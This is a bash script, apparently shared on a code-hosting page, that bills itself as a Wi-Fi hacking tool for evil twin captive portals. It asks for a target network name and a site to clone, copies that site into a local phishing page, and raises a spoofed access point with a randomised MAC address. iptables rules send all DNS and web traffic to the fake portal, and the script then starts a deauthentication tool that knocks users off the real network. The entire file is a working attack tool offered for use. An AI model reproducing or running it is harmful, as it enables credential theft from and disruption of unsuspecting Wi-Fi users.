DoubleVision.sh 2.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475
  1. #!/bin/bash
  2. cat << "EOF"
  3. __ _ ___ ___ _ _ _ __ ___ ___ | |__ _ __ ___ __ _ ___| |__
  4. / _` / __/ __| | | | '_ ` _ \ / _ \_____| '_ \| '__/ _ \/ _` |/ __| '_ \
  5. | (_| \__ \__ \ |_| | | | | | | __/_____| |_) | | | __/ (_| | (__| | | |
  6. \__,_|___/___/\__,_|_| |_| |_|\___| |_.__/|_| \___|\__,_|\___|_| |_|
  7. **Double Vision**
  8. A Wifi Hacking Tool For Evil Twin Captive Portals
  9. Use At Your Own Risk
  10. EOF
  11. echo "Which interface do you want to use as your AP NIC? Example: wlan1"
  12. echo ""
  13. read AP
  14. echo""
  15. echo "Using $AP as your AP interface"
  16. echo ""
  17. sleep 1
  18. echo "What is the Wifi network you want to spoof? Example: Starbucks Wifi"
  19. echo ""
  20. read SSID
  21. echo ""
  22. echo "Using $SSID as your spoofed network"
  23. sleep 1
  24. echo ""
  25. echo "Enter Website URL To Clone. Example: https://starbucks.com"
  26. echo ""
  27. read URL
  28. echo ""
  29. echo "Cloning $URL"
  30. systemctl stop dnsmasq
  31. cp Resources/hostapd.conf .
  32. sed -i s/AP/$AP/g hostapd.conf
  33. sed -i s/SSID/$SSID/g hostapd.conf
  34. rm /etc/hostapd/hostapd.conf
  35. cp hostapd.conf /etc/hostapd/hostapd.conf
  36. #rm /var/www/html/index.html
  37. runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
  38. mv /home/pi/index.html /var/www/html/index.html
  39. service apache2 start
  40. sleep 1
  41. ifconfig wlan2 down
  42. macchanger -A wlan2
  43. sleep 1
  44. ifconfig wlan2 up
  45. sleep 1
  46. systemctl start dnsmasq
  47. hostapd -B /etc/hostapd/hostapd.conf
  48. sleep 2
  49. ifconfig br0 up
  50. sleep 2
  51. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  52. sysctl net.ipv4.ip_forward=1
  53. echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/authenticate.html'>">> /var/www/html/index.html
  54. iptables --flush
  55. iptables -t nat --flush
  56. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  57. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  58. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  59. iptables -t nat -A POSTROUTING -j MASQUERADE
  60. sleep 2
  61. service dnsmasq start
  62. sleep 4
  63. echo "AP Should Be Up. Time To Deauth"
  64. echo ""
  65. sleep 2
  66. echo "Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"
  67. echo ""
  68. tmux new-session -s deauth 'cd PwrDeauther && bash PwrDeauther.sh'